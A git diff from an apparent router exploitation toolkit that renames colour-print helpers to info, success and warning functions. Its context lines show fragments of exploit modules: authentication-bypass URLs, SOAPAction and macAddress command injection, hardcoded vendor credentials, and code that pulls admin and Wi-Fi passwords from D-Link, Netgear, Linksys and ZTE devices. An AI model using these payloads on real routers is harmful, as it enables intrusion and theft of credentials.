a/core/io.py b/core/io.py index 05620f0..9a24986 100644 --- a/core/io.py +++ b/core/io.py @@ -6,7 +6,7 @@ import datetime import os import core.globals -from interface.messages import print_error, print_yellow, print_red +from interface.messages import print_error, print_info # FIXME: If minute changes between two writes of one module, this will create two directories @@ -55,11 +55,11 @@ def query_yes_no(question, default="yes"): raise ValueError("invalid default answer: '%s'" % default) while True: - print_yellow(question + prompt) + print_info(question + prompt) choice = input().lower() if default is not None and choice == '': return valid[default] elif choice in valid: return valid[choice] else: - print_red("Please respond with 'yes' or 'no' " "(or 'y' or 'n').\n") + print_error("Please respond with 'yes' or 'no' " "(or 'y' or 'n').\n") diff --git a/core/updater.py b/core/updater.py index bf09224..6f4c4bb 100644 --- a/core/updater.py +++ b/core/updater.py @@ -11,7 +11,7 @@ import interface.utils import core.globals -from interface.messages import print_blue, print_error +from interface.messages import print_error, print_info # Pull REXT from git repo @@ -33,7 +33,7 @@ def update_oui(): connection = core.globals.ouidb_conn cursor = connection.cursor() # Truncate database - print_blue("Truncating oui table") + print_info("Truncating oui table") cursor.execute("""DROP TABLE oui""") cursor.execute("""CREATE TABLE oui ( id INTEGER PRIMARY KEY NOT NULL, @@ -44,7 +44,7 @@ def update_oui(): # BEGIN guarantees that only one transaction will be used. # Now the DB rebuild should take only seconds cursor.execute('begin') - print_blue("Downloading new OUI file") + print_info("Downloading new OUI file") path = interface.utils.wget("http://standards.ieee.org/regauth/oui/oui.txt", "./output/tmp_oui.txt") if not path: print_error('Failed to download') diff --git a/interface/cmdui.py b/interface/cmdui.py index 307f21e..473ec0d 100644 --- a/interface/cmdui.py +++ b/interface/cmdui.py @@ -10,7 +10,7 @@ import core.globals from core import loader from core import updater -from interface.messages import print_error, print_help, print_blue, print_purple +from interface.messages import print_error, print_help, print_info, print_success class Interpreter(cmd.Cmd): @@ -119,18 +119,18 @@ def do_unload(self, e): def do_update(self, e): args = e.split(' ') if args[0] == "oui": - print_blue("Updating OUI DB. Database rebuild may take several minutes.") + print_info("Updating OUI DB. Database rebuild may take several minutes.") # print_blue("Do you wish to continue? (y/n)") # Add if here updater.update_oui() - print_blue("OUI database updated successfully.") + print_success("OUI database updated successfully.") elif args[0] == "force": - print_blue("Discarding local changes and updating REXT") + print_info("Discarding local changes and updating REXT") updater.update_rext_force() elif args[0] == "": - print_blue("Updating REXT please wait...") + print_info("Updating REXT please wait...") updater.update_rext() - print_blue("Update successful") + print_success("Update successful") # autocomplete section def complete_load(self, text, line, begidx, endidx): @@ -152,12 +152,12 @@ def help_show(self): def help_load(self): print_help("load module") - print_purple("Usage: load ") + print("Usage: load ") def help_update(self): # Recreate this with python formatter print_help("update REXT functionality") - print_purple("Usage: update ") - print_purple("Available arguments:\n" + print("Usage: update ") + print("Available arguments:\n" "\tno argument\n\t\tupdate REXT using git\n" "\toui\n\t\tupdate MAC vendor database\n" "\tforce\n\t\tdo git reset --hard and update\n") diff --git a/interface/messages.py b/interface/messages.py index 8eb4fe1..451cfc0 100644 --- a/interface/messages.py +++ b/interface/messages.py @@ -32,28 +32,28 @@ class Color: ENDC = '' -def print_success(msg): - print(Color.GREEN + Color.BOLD + "Success: " + Color.ENDC + Color.GREEN + msg + Color.ENDC) +def print_success(*args, **kwargs): + print(Color.GREEN + Color.BOLD + "[+]" + Color.ENDC, *args, **kwargs) -def print_error(msg): - print(Color.RED + Color.BOLD + "Error: " + Color.ENDC + Color.RED + msg + Color.ENDC) +def print_error(*args, **kwargs): + print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs) -def print_failed(msg): - print(Color.RED + Color.BOLD + "Failed: " + Color.ENDC + Color.RED + msg + Color.ENDC) +def print_failed(*args, **kwargs): + print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs) -def print_warning(msg): - print(Color.YELLOW + Color.BOLD + "Warning: " + Color.ENDC + Color.YELLOW + msg + Color.ENDC) +def print_warning(*args, **kwargs): + print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs) -def print_help(msg): - print(Color.PURPLE + Color.BOLD + "Help: " + Color.ENDC + Color.PURPLE + msg + Color.ENDC) +def print_help(*args, **kwargs): + print(Color.PURPLE + Color.BOLD + "[?]" + Color.ENDC, *args, **kwargs) -def print_info(msg): - print(Color.BLUE + Color.BOLD + "Info: " + Color.ENDC + Color.BLUE + msg + Color.ENDC) +def print_info(*args, **kwargs): + print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs) def print_green(msg): diff --git a/modules/decryptors/draytek/vigor_config_old.py b/modules/decryptors/draytek/vigor_config_old.py index 2011756..1ce3f2b 100644 --- a/modules/decryptors/draytek/vigor_config_old.py +++ b/modules/decryptors/draytek/vigor_config_old.py @@ -13,7 +13,7 @@ import core.io import core.compression.lzo -from interface.messages import print_success, print_green, print_yellow +from interface.messages import print_success, print_green, print_yellow, print_warning, print_info from collections import defaultdict from struct import unpack, pack import math @@ -58,13 +58,13 @@ def de_cfg(self, data): """Get raw config data from raw /compressed/encrypted & comressed""" g = self.smart_guess(data) if g == self.CFG_RAW: - print_yellow('File is :\tnot compressed, not encrypted') + print_warning('File is :\tnot compressed, not encrypted') return g, data elif g == self.CFG_LZO: - print_yellow('File is :\tcompressed, not encrypted') + print_warning('File is :\tcompressed, not encrypted') return g, self.decompress_cfg(data) elif g == self.CFG_ENC: - print_yellow('File is :\tcompressed, encrypted') + print_warning('File is :\tcompressed, encrypted') return g, self.decompress_cfg(self.decrypt_cfg(data)) def smart_guess(self, data): @@ -102,7 +102,7 @@ def get_modelid(self, data): def decompress_cfg(self, data): """Decompress a config file""" modelstr = "V" + format(unpack(">H", self.get_modelid(data))[0], "04X") - print_green('Model is :\t' + modelstr) + print_info('Model is :\t' + modelstr) rawcfgsize = 0x00100000 lzocfgsize = unpack(">L", data[0x24:0x28])[0] raw = data[:0x2D] + b'\x00' + data[0x2E:0x100] + \ @@ -112,13 +112,13 @@ def decompress_cfg(self, data): def decrypt_cfg(self, data): """Decrypt config, bruteforce if default key fails""" modelstr = "V" + format(unpack(">H", self.get_modelid(data))[0], "04X") - print_green('Model is :\t' + modelstr) + print_info('Model is :\t' + modelstr) ckey = self.make_key(modelstr) rdata = self.decrypt(data[0x100:], ckey) # if the decrypted data does not look good, bruteforce if self.smart_guess(rdata) != self.CFG_LZO: rdata = self.brute_cfg(data[0x100:]) - print_green('Used key :\t[0x%02X]' % ckey) + print_success('Used key :\t[0x%02X]' % ckey) return data[:0x2D] + b'\x01' + data[0x2E:0x100] + rdata def make_key(self, modelstr): @@ -159,7 +159,7 @@ def brute_cfg(self, data): if self.smart_guess(rdata) == self.CFG_LZO: key = i break - print_green('Found key:\t[0x%02X]' % key) + print_success('Found key:\t[0x%02X]' % key) return rdata def get_credentials(self, data): diff --git a/modules/decryptors/draytek/vigor_fw_decompress.py b/modules/decryptors/draytek/vigor_fw_decompress.py index b86a571..59a18ca 100644 --- a/modules/decryptors/draytek/vigor_fw_decompress.py +++ b/modules/decryptors/draytek/vigor_fw_decompress.py @@ -12,7 +12,7 @@ import core.io import core.compression.lzo -from interface.messages import print_error, print_success, print_green, print_warning +from interface.messages import print_error, print_success, print_warning, print_info from struct import unpack, pack import os @@ -57,7 +57,7 @@ def decompress_firmware(data): sigstart = data.find(b'\x5A\x5A\xA5\x5A\xA5\x5A') # Compressed FW block found, now decompress if sigstart > 0: - print_green('Signature found at [0x%08X]' % sigstart) + print_info('Signature found at [0x%08X]' % sigstart) lzosizestart = sigstart + 6 lzostart = lzosizestart + 4 lzosize = unpack('>L', bytes(data[lzosizestart:lzostart]))[0] @@ -70,13 +70,13 @@ def decompress_firmware(data): def decompress_fs_only(self, data, path): """Decompress filesystem""" fsstart = unpack('>L', data[:4])[0] - print_green('FS block start at: %d [0x%08X]' % (fsstart, fsstart)) + print_info('FS block start at: %d [0x%08X]' % (fsstart, fsstart)) return self.decompress_fs(data[fsstart:], path) def decompress_fs(self, data, path): """Decompress filesystem""" lzofsdatalen = unpack('>L', data[4:8])[0] - print_green('Compressed FS length: %d [0x%08X]' % (lzofsdatalen, lzofsdatalen)) + print_info('Compressed FS length: %d [0x%08X]' % (lzofsdatalen, lzofsdatalen)) # stupid assumption of raw FS length. Seems OK for now fsdatalen = 0x800000 fs_raw = core.compression.lzo.pydelzo.decompress(b'\xF0' + pack(">L", fsdatalen) @@ -149,7 +149,7 @@ def save_file(self, i): ff.write(rawfdata) ff.close() # print some debug info for each file - print_green('%08X "' % ds + fname + '" %08X' % fs + ' %08X' % rawfs) + print_info('%08X "' % ds + fname + '" %08X' % fs + ' %08X' % rawfs) return fs, rawfs def save_all(self, path): diff --git a/modules/decryptors/zte/config_zlib_decompress.py b/modules/decryptors/zte/config_zlib_decompress.py index 6e33ea9..3cc2b1b 100644 --- a/modules/decryptors/zte/config_zlib_decompress.py +++ b/modules/decryptors/zte/config_zlib_decompress.py @@ -15,7 +15,7 @@ import core.io -from interface.messages import print_green +from interface.messages import print_success import struct import zlib import re @@ -48,7 +48,7 @@ def do_run(self, e): data = f.read() f.close() core.io.writefile(self.extract_config_xml(data), "config.xml") - print_green("Config.bin extracted to config.xml") + print_success("Config.bin extracted to config.xml") def extract_config_xml(self, config_bin): config_xml = b'' diff --git a/modules/exploits/dlink/dir300_600_exec.py b/modules/exploits/dlink/dir300_600_exec.py index 03d569c..37e2b90 100644 --- a/modules/exploits/dlink/dir300_600_exec.py +++ b/modules/exploits/dlink/dir300_600_exec.py @@ -14,7 +14,8 @@ import requests import urllib.parse import interface.utils -from interface.messages import print_error, print_yellow, print_success, print_help, print_green +from interface.messages import print_error, print_success, print_help, print_info, \ + print_warning class Exploit(core.Exploit.RextExploit): @@ -59,7 +60,7 @@ def do_set(self, e): print_error("please specify value for variable") def do_command(self, e): - print(self.command) + print_info(self.command) def help_command(self): print_help("Prints current value of command") @@ -74,7 +75,7 @@ def do_run(self, e): 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' } try: - print_yellow("Sending exploit") + print_warning("Sending exploit") # Requests forces URI encoding and can't be turned off # so we have to prepare HTTP request manually and modify it with urllib.parse.quote before sending request = requests.Request('POST', url, headers=headers, data=payload) @@ -90,7 +91,7 @@ def do_run(self, e): # response = requests.post(url, headers=headers, data=payload, proxies=proxies, timeout=60) if "end" in response.text: # end8758 is unique tag to search for in output print_success("output of %s:" % self.command) - print_green(response.text) + print_success(response.text) else: print_error("could not find marker in response, exploit failed") except requests.Timeout: diff --git a/modules/exploits/dlink/dir300_600_info.py b/modules/exploits/dlink/dir300_600_info.py index 6754783..0a2a831 100644 --- a/modules/exploits/dlink/dir300_600_info.py +++ b/modules/exploits/dlink/dir300_600_info.py @@ -13,11 +13,7 @@ import requests import re -import urllib.parse -import urllib.request -import urllib.error -from collections import OrderedDict -from interface.messages import print_error, print_yellow, print_success, print_help, print_green +from interface.messages import print_error, print_yellow, print_success class Exploit(core.Exploit.RextExploit): @@ -50,7 +46,7 @@ def do_run(self, e): if response.status_code == 200 and "
" in response.text: print_success("credentials fetched") credentials = re.findall("
\n\t\t\t(.*)", response.text) - print_green(credentials[0]) + print(credentials[0]) except requests.Timeout: print_error("timeout") except requests.ConnectionError: diff --git a/modules/exploits/dlink/dir300_615_auth_bypass.py b/modules/exploits/dlink/dir300_615_auth_bypass.py index 2d77d9a..b0442cf 100644 --- a/modules/exploits/dlink/dir300_615_auth_bypass.py +++ b/modules/exploits/dlink/dir300_615_auth_bypass.py @@ -22,7 +22,8 @@ import requests import interface.utils -from interface.messages import print_error, print_yellow, print_success, print_help, print_green +from interface.messages import print_error, print_success, print_help, print_info, \ + print_warning class Exploit(core.Exploit.RextExploit): @@ -67,7 +68,7 @@ def do_set(self, e): print_error("please specify value for variable") def do_password(self, e): - print(self.password) + print_info(self.password) def help_password(self): print_help("Prints current value of password") @@ -76,12 +77,12 @@ def do_run(self, e): url = "http://%s:%s/tools_admin.php?NO_NEED_AUTH=1&AUTH_GROUP=0" % (self.host, self.port) try: - print_yellow("Sending exploit") + print_warning("Sending exploit") response = requests.get(url, timeout=60) if response.status_code == 200 and 'name="admin_password1"' in response.text: print_success("target seems vulnerable") - print_green("You can visit any page by adding ?NO_NEED_AUTH=1&AUTH_GROUP=0 to URL") - print_yellow("Changing admin password") + print_success("You can visit any page by adding ?NO_NEED_AUTH=1&AUTH_GROUP=0 to URL") + print_info("Changing admin password") headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'Accept-Language: en-us,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', diff --git a/modules/exploits/dlink/dir645_auth_bypass.py b/modules/exploits/dlink/dir645_auth_bypass.py index d666406..d58db49 100644 --- a/modules/exploits/dlink/dir645_auth_bypass.py +++ b/modules/exploits/dlink/dir645_auth_bypass.py @@ -13,7 +13,7 @@ import requests import re -from interface.messages import print_error, print_yellow, print_success, print_green +from interface.messages import print_error, print_success, print_warning class Exploit(core.Exploit.RextExploit): @@ -46,7 +46,7 @@ def do_run(self, e): 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' } try: - print_yellow("Sending exploit") + print_warning("Sending exploit") response = requests.post(url, headers=headers, data=payload, timeout=60) if "DEVICE.ACCOUNT" in response.text: usernames = re.findall("(.*)", response.text) @@ -57,8 +57,8 @@ def do_run(self, e): else: print_success("") for i in range(len(usernames)): - print_green("Username: " + usernames[i]) - print_green("Password: " + passwords[i]) + print("Username: " + usernames[i]) + print("Password: " + passwords[i]) else: print_error("Exploit failed") except requests.Timeout: diff --git a/modules/exploits/dlink/dir815_645_exec.py b/modules/exploits/dlink/dir815_645_exec.py index 6ecce0c..6ce8df8 100644 --- a/modules/exploits/dlink/dir815_645_exec.py +++ b/modules/exploits/dlink/dir815_645_exec.py @@ -22,7 +22,7 @@ import requests import interface.utils -from interface.messages import print_error, print_yellow, print_success, print_help +from interface.messages import print_error, print_success, print_help, print_info, print_warning class Exploit(core.Exploit.RextExploit): @@ -76,7 +76,7 @@ def do_set(self, e): print_error("please specify value for variable") def do_command(self, e): - print(self.command) + print_info(self.command) def help_command(self): print_help("Prints current value of command") @@ -92,7 +92,7 @@ def do_run(self, e): 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' } try: - print_yellow("Sending exploit") + print_warning("Sending exploit") response = requests.post(url, headers=headers, data=payload, timeout=60) if "OK" in response.text: print_success("output not available this is blind injection") diff --git a/modules/exploits/dlink/dir890l_soapaction.py b/modules/exploits/dlink/dir890l_soapaction.py index ea3bfd1..fae096a 100644 --- a/modules/exploits/dlink/dir890l_soapaction.py +++ b/modules/exploits/dlink/dir890l_soapaction.py @@ -17,7 +17,7 @@ import telnetlib import interface.utils from core.io import query_yes_no, writetextfile -from interface.messages import print_error, print_yellow, print_success, print_help +from interface.messages import print_error, print_success, print_help, print_info, print_warning class Exploit(core.Exploit.RextExploit): @@ -64,7 +64,7 @@ def do_set(self, e): print_error("please specify value for variable") def do_command(self, e): - print(self.command) + print_info(self.command) def help_command(self): print_help("Prints current value of command") @@ -74,22 +74,22 @@ def do_run(self, e): headers = {"SOAPAction": '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % self.command} try: - print_yellow("Sending exploit") + print_warning("Sending exploit") requests.post(url, headers=headers, timeout=60) - print_yellow("HTTPd is still responding this is OK if you changed the payload") + print_warning("HTTPd is still responding this is OK if you changed the payload") except requests.ConnectionError: print_success("exploit sent.") answer = query_yes_no("Do you wish to dump all system settings? (if telned was started)") if answer is True: tn = telnetlib.Telnet(self.host, self.port) - print_yellow("Sending command through telnet") + print_info("Sending command through telnet") tn.read_until(b'#', timeout=15) tn.write(b"xmldbc -d /var/config.xml; cat /var/config.xml\n") response = tn.read_until(b'#', timeout=15) tn.close() - print_yellow("Writing response to config.xml") + print_info("Writing response to config.xml") writetextfile(response.decode('ascii'), "config.xml") - print_yellow("Don't forget to restart httpd or reboot the device") + print_warning("Don't forget to restart httpd or reboot the device") except requests.Timeout: print_error("timeout") Exploit() diff --git a/modules/exploits/dlink/dsl_2750b_info.py b/modules/exploits/dlink/dsl_2750b_info.py index 049ee27..92faa03 100644 --- a/modules/exploits/dlink/dsl_2750b_info.py +++ b/modules/exploits/dlink/dsl_2750b_info.py @@ -13,7 +13,7 @@ import re import requests -from interface.messages import print_error, print_yellow, print_success, print_green +from interface.messages import print_error, print_success, print_green, print_warning class Exploit(core.Exploit.RextExploit): @@ -41,12 +41,12 @@ def do_run(self, e): url = "http://%s:%s/hidden_info.html" % (self.host, self.port) try: - print_yellow("Sending exploit") + print_warning("Sending exploit") response = requests.get(url, timeout=60) if "Manufacture Information" in response.text: print_success("information obtained, writing response into hidden_info.html") core.io.writetextfile(response.text, "hidden_info.html") - print_green("Please check file, response seems to depend on FW version, parsing may not be accurate") + print_warning("Please check file, response seems to depend on FW version, parsing may not be accurate") value = re.findall("str =\(\"\[\{(.*)\}", response.text) value = value[0].split(',') for i in value: diff --git a/modules/exploits/linksys/ea6100_auth_bypass.py b/modules/exploits/linksys/ea6100_auth_bypass.py index 0f8ab40..7643446 100644 --- a/modules/exploits/linksys/ea6100_auth_bypass.py +++ b/modules/exploits/linksys/ea6100_auth_bypass.py @@ -17,7 +17,7 @@ import requests import re -from interface.messages import print_error, print_yellow, print_green +from interface.messages import print_error, print_yellow, print_green, print_warning, print_success, print_info from interface.utils import lookup_mac @@ -53,12 +53,12 @@ def send_payload(self, payload): print_error("timeout!") def do_run(self, e): - print_yellow("Sending payload sysinfo") + print_warning("Sending payload sysinfo") result = self.send_payload("sysinfo.cgi") if result: - print_green("Got system information, writing to file") + print_success("Got system information, writing to file") core.io.writetextfile(result, "sysinfo") - print_green("Analyzing sysinfo...") + print_info("Analyzing sysinfo...") regex = re.search("device::default_passphrase=(.*)", result) if regex: try: @@ -111,8 +111,8 @@ def do_run(self, e): print_yellow("Sending payload getstinfo") result = self.send_payload("getstinfo.cgi") if result: - print_green("Got SSID hash and passphrase hash, writing to file") + print_success("Got SSID hash and passphrase hash, writing to file") core.io.writetextfile(result, "getstinfo") - print_green(result) + print_success(result) Exploit() diff --git a/modules/exploits/linksys/wap54gv3_exec.py b/modules/exploits/linksys/wap54gv3_exec.py index 14ae134..cc2afc4 100644 --- a/modules/exploits/linksys/wap54gv3_exec.py +++ b/modules/exploits/linksys/wap54gv3_exec.py @@ -14,7 +14,7 @@ import requests import re import interface.utils -from interface.messages import print_error, print_success, print_help, print_green +from interface.messages import print_error, print_success, print_help, print_info class Exploit(core.Exploit.RextExploit): @@ -59,7 +59,7 @@ def do_set(self, e): print_error("please specify value for variable") def do_command(self, e): - print(self.command) + print_info(self.command) def help_command(self): print_help("Prints current value of command") @@ -76,7 +76,7 @@ def do_run(self, e): data = {"data1": self.command, "command": "ui_debug"} response = requests.post(url=url, data=data, auth=("Gemtek", "gemtekswd"), timeout=60) result = re.findall("", response.text) - print_green(result[0]) + print(result[0]) else: print_error("target is not vulnerable") except requests.Timeout: diff --git a/modules/exploits/netgear/n300_auth_bypass.py b/modules/exploits/netgear/n300_auth_bypass.py index b2e2d55..71c0926 100644 --- a/modules/exploits/netgear/n300_auth_bypass.py +++ b/modules/exploits/netgear/n300_auth_bypass.py @@ -14,7 +14,7 @@ import core.Exploit import requests -from interface.messages import print_error, print_success, print_yellow +from interface.messages import print_error, print_success, print_warning class Exploit(core.Exploit.RextExploit): @@ -42,7 +42,7 @@ def do_run(self, e): try: response = requests.get(target, timeout=60) if response.status_code == requests.codes.unauthorized: - print_yellow("Password protection detected") + print_warning("Password protection detected") for i in range(0, 3): time.sleep(1) requests.get(target+"/BRS_netgear_success.html", timeout=60) diff --git a/modules/exploits/netgear/prosafe_exec.py b/modules/exploits/netgear/prosafe_exec.py index 5e0b5d8..b1c0a5a 100644 --- a/modules/exploits/netgear/prosafe_exec.py +++ b/modules/exploits/netgear/prosafe_exec.py @@ -13,7 +13,7 @@ import requests import interface.utils -from interface.messages import print_error, print_success, print_help, print_green, print_yellow +from interface.messages import print_error, print_success, print_help, print_info class Exploit(core.Exploit.RextExploit): @@ -58,7 +58,7 @@ def do_set(self, e): print_error("please specify value for variable") def do_command(self, e): - print(self.command) + print_info(self.command) def help_command(self): print_help("Prints current value of command") @@ -77,10 +77,10 @@ def do_run(self, e): # Not so sure about quoting of commands that has arguments data = 'reqMethod=json_cli_reqMethod" "json_cli_jsonData"; %s' % self.command response = requests.post(url=url, headers=headers, data=data, timeout=60) - print_green(response.text) + print(response.text) elif "failure" in response.text: print_error("Exploit failed, target is probably patched") - print_yellow(response.text) + print(response.text) except requests.Timeout: print_error("exploit failed") except requests.ConnectionError: diff --git a/modules/exploits/netgear/rp614_auth_bypass.py b/modules/exploits/netgear/rp614_auth_bypass.py index 110de3a..102a597 100644 --- a/modules/exploits/netgear/rp614_auth_bypass.py +++ b/modules/exploits/netgear/rp614_auth_bypass.py @@ -15,7 +15,7 @@ import requests import interface.utils -from interface.messages import print_error, print_success, print_help +from interface.messages import print_error, print_success, print_help, print_info class Exploit(core.Exploit.RextExploit): @@ -61,7 +61,7 @@ def do_set(self, e): print_error("please specify value for variable") def do_file(self, e): - print(self.file) + print_info(self.file) def help_file(self, e): print_help("Prints current value of file") diff --git a/modules/exploits/netgear/wg102_exec.py b/modules/exploits/netgear/wg102_exec.py index e679ec8..b9a1253 100644 --- a/modules/exploits/netgear/wg102_exec.py +++ b/modules/exploits/netgear/wg102_exec.py @@ -16,7 +16,8 @@ import requests import interface.utils import datetime -from interface.messages import print_error, print_yellow, print_success, print_help, print_green +from interface.messages import print_error, print_success, print_help, print_info, \ + print_warning class Exploit(core.Exploit.RextExploit): @@ -64,7 +65,7 @@ def do_set(self, e): print_error("please specify value for variable") def do_command(self, e): - print(self.command) + print_info(self.command) def help_command(self): print_help("Prints current value of command") @@ -72,27 +73,27 @@ def help_command(self): def do_run(self, e): file = "" for file in self.files: - print_yellow("Testing file: " + file) + print_info("Testing file: " + file) url = "http://%s:%s/%s?writeData=true®info=0&macAddress= 001122334455 -c 0 ;" \ "%s; echo #" % (self.host, self.port, file, "sleep 10") try: - print_yellow("Doing timebased check with sleep 10") + print_info("Doing timebased check with sleep 10") time_start = datetime.datetime.now() response = requests.get(url=url, timeout=60) time_end = datetime.datetime.now() delta = time_end - time_start if response.status_code == 200 and "Update Success!" in response.text: if 13 > delta.seconds > 9: - print_green("Timebased check OK target should be vulnerable") + print_success("Timebased check OK target should be vulnerable") else: - print_yellow("Timebased check failed, but target still might be vulnerable") + print_warning("Timebased check failed, but target still might be vulnerable") break except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("exploit failed") - print_green("Vulnerable file:" + file) - print_yellow("Sending command") + print_success("Vulnerable file:" + file) + print_info("Sending command") url = "http://%s:%s/%s?writeData=true®info=0&macAddress= 001122334455 -c 0 ;" \ "%s; echo #" % (self.host, self.port, file, self.command) try: diff --git a/modules/exploits/netgear/wndr_auth_bypass.py b/modules/exploits/netgear/wndr_auth_bypass.py index d401924..f5e8062 100644 --- a/modules/exploits/netgear/wndr_auth_bypass.py +++ b/modules/exploits/netgear/wndr_auth_bypass.py @@ -13,6 +13,7 @@ # WNR1000v2 - V1.1.2.58, WNR2200 - V1.0.1.76, WNR2000v3 - v1.1.2.6, # WNR2000v3 - V1.1.2.10, R7500 - V1.0.0.82 # Based on: https://github.com/darkarnium/secpub/tree/master/NetGear/SOAPWNDR +import traceback import core.Exploit import core.io @@ -20,7 +21,7 @@ import requests import re import interface.utils -from interface.messages import print_error, print_yellow, print_green +from interface.messages import print_error, print_warning, print_info class Exploit(core.Exploit.RextExploit): @@ -65,15 +66,15 @@ def do_run(self, e): # I don't feel like adding lxml into dependencies just for this module striptag = re.compile(r'<.*?>') try: - print_yellow("Sending exploit") + print_warning("Sending exploit") # Request DeviceInfo response = requests.post(url, headers=headers, data=payload, timeout=60) if response.status_code != 200: raise requests.ConnectionError - print_yellow("Writing response to DeviceInfo.xml") + print_info("Writing response to DeviceInfo.xml") core.io.writetextfile(response.text, "DeviceInfo.xml") - print_yellow("Parsing response") + print_info("Parsing response") regex = re.search("(.*)", response.text) regex2 = re.search("(.*)", response.text) regex3 = re.search("(.*)", response.text) @@ -81,9 +82,9 @@ def do_run(self, e): description = striptag.sub('', regex.group(1)) serial_number = striptag.sub('', regex2.group(1)) firmware = striptag.sub('', regex3.group(1)) - print_green("Device: %s" % description) - print_green("Serial number: %s" % serial_number) - print_green("FW version: %s" % firmware) + print("Device: %s" % description) + print("Serial number: %s" % serial_number) + print("FW version: %s" % firmware) except IndexError: print_error("opps unable to locate this regular expression") @@ -91,13 +92,13 @@ def do_run(self, e): response = requests.post(url, headers=headers1, data=payload, timeout=60) if response.status_code != 200: raise requests.ConnectionError - print_yellow("Writing response to LANConfigSecurity.xml") + print_info("Writing response to LANConfigSecurity.xml") core.io.writetextfile(response.text, "LANConfigSecurity.xml") - print_yellow("Parsing response") + print_info("Parsing response") regex = re.search("(.*)", response.text) try: password = striptag.sub('', regex.group(1)) - print_green("Password: %s" % password) + print("Password: %s" % password) except IndexError: print_error("opps unable to locate this regular expression") @@ -105,17 +106,17 @@ def do_run(self, e): response = requests.post(url, headers=headers2, data=payload, timeout=60) if response.status_code != 200: raise requests.ConnectionError - print_yellow("Writing response to WLANConfiguration.xml") + print_info("Writing response to WLANConfiguration.xml") core.io.writetextfile(response.text, "WLANConfiguration.xml") - print_yellow("Parsing response") + print_info("Parsing response") regex = re.search("(.*)", response.text) regex2 = re.search("(.*)", response.text) try: ssid = regex.group(1) ssid = striptag.sub('', ssid) wlan_encryption = striptag.sub('', regex2.group(1)) - print_green("SSID: " + ssid) - print_green("Encryption: %s" % wlan_encryption) + print("SSID: " + ssid) + print("Encryption: %s" % wlan_encryption) except IndexError: print_error("opps unable to locate this regular expression") @@ -123,13 +124,13 @@ def do_run(self, e): response = requests.post(url, headers=headers3, data=payload, timeout=60) if response.status_code != 200: raise requests.ConnectionError - print_yellow("Writing response to WLANConfigurationGetWPASecurityKeys.xml") + print_info("Writing response to WLANConfigurationGetWPASecurityKeys.xml") core.io.writetextfile(response.text, "WLANConfigurationGetWPASecurityKeys.xml") - print_yellow("Parsing response") + print_info("Parsing response") regex = re.search("(.*)", response.text) try: wlan_password = striptag.sub('', regex.group(1)) - print_green("Passphrase: %s" % wlan_password) + print("Passphrase: %s" % wlan_password) except IndexError: print_error("opps unable to locate this regular expression") @@ -137,25 +138,26 @@ def do_run(self, e): response = requests.post(url, headers=headers4, data=payload, timeout=60) if response.status_code != 200: raise requests.ConnectionError - print_yellow("Writing response to DeviceInfoGetAttachDevice.xml") + print_info("Writing response to DeviceInfoGetAttachDevice.xml") core.io.writetextfile(response.text, "DeviceInfoGetAttachDevice.xml") - print_yellow("Parsing response") + print_info("Parsing response") regex = re.search("(.*)", response.text) try: devices = striptag.sub('', regex.group(1)) devices = devices.split('@')[1:] # First element is number of records for device in devices: device = device.split(";") - print_green("ID: %s" % device[0]) - print_green("IP: %s" % device[1]) - print_green("Name: %s" % device[2]) - print_green("MAC: %s" % interface.utils.lookup_mac(device[3])) - print_green("Connection type: %s" % device[4]) + print("ID: %s" % device[0]) + print("IP: %s" % device[1]) + print("Name: %s" % device[2]) + print("MAC: %s" % interface.utils.lookup_mac(device[3])) + print("Connection type: %s" % device[4]) except IndexError: print_error("opps unable to locate this regular expression") except requests.ConnectionError as e: - print_error("lost connection " + e) + print_error("lost connection ") + traceback.print_tb(e) except requests.Timeout: print_error("timeout") Exploit() diff --git a/modules/exploits/zte/f660_config_download.py b/modules/exploits/zte/f660_config_download.py index 5de0603..b00059a 100644 --- a/modules/exploits/zte/f660_config_download.py +++ b/modules/exploits/zte/f660_config_download.py @@ -12,7 +12,7 @@ import core.io import requests -from interface.messages import print_error, print_yellow, print_success +from interface.messages import print_error, print_success, print_warning, print_info class Exploit(core.Exploit.RextExploit): @@ -39,14 +39,14 @@ def do_run(self, e): url = "http://%s:%s/getpage.gch?pid=101&nextpage=manager_dev_config_t.gch" % (self.host, self.port) try: - print_yellow("Sending exploit") + print_warning("Sending exploit") # It took me longer than necessary to find out how to use Content-Disposition properly # Always set stream=True otherwise you may not get the whole file response = requests.post(url, files={'config': ''}, timeout=60, stream=True) if response.status_code == 200: if response.headers.get('Content-Disposition'): print_success("got file in response") - print_yellow("Writing file to config.bin") + print_info("Writing file to config.bin") core.io.writefile(response.content, "config.bin") print_success("you can now use decryptors/zte/config_zlib_decompress to extract XML") except requests.ConnectionError as e: diff --git a/modules/exploits/zyxel/rom-0.py b/modules/exploits/zyxel/rom-0.py index c0657f2..b9cde19 100644 --- a/modules/exploits/zyxel/rom-0.py +++ b/modules/exploits/zyxel/rom-0.py @@ -12,7 +12,7 @@ import core.io import requests -from interface.messages import print_error, print_success, print_failed +from interface.messages import print_error, print_success, print_failed, print_info class Exploit(core.Exploit.RextExploit): @@ -44,7 +44,7 @@ def do_run(self, e): core.io.writefile(response.content, "rom-0") else: print_error("failed") - print("Checking if rpFWUpload.html is available") + print_info("Checking if rpFWUpload.html is available") response = requests.get(target + "/rpFWUpload.html", timeout=60) if response.status_code == requests.codes.ok: print_success("rpFWUpload.html is accessible") diff --git a/modules/misc/accton/switch_backdoor_gen.py b/modules/misc/accton/switch_backdoor_gen.py index 59d9df6..e2f27f9 100644 --- a/modules/misc/accton/switch_backdoor_gen.py +++ b/modules/misc/accton/switch_backdoor_gen.py @@ -12,7 +12,7 @@ import core.Misc import core.io from interface.utils import validate_mac, lookup_mac -from interface.messages import print_success, print_error, print_help, print_green +from interface.messages import print_success, print_error, print_help, print_info class Misc(core.Misc.RextMisc): @@ -42,12 +42,12 @@ def do_set(self, e): if args[0] == "mac": if validate_mac(args[1]): 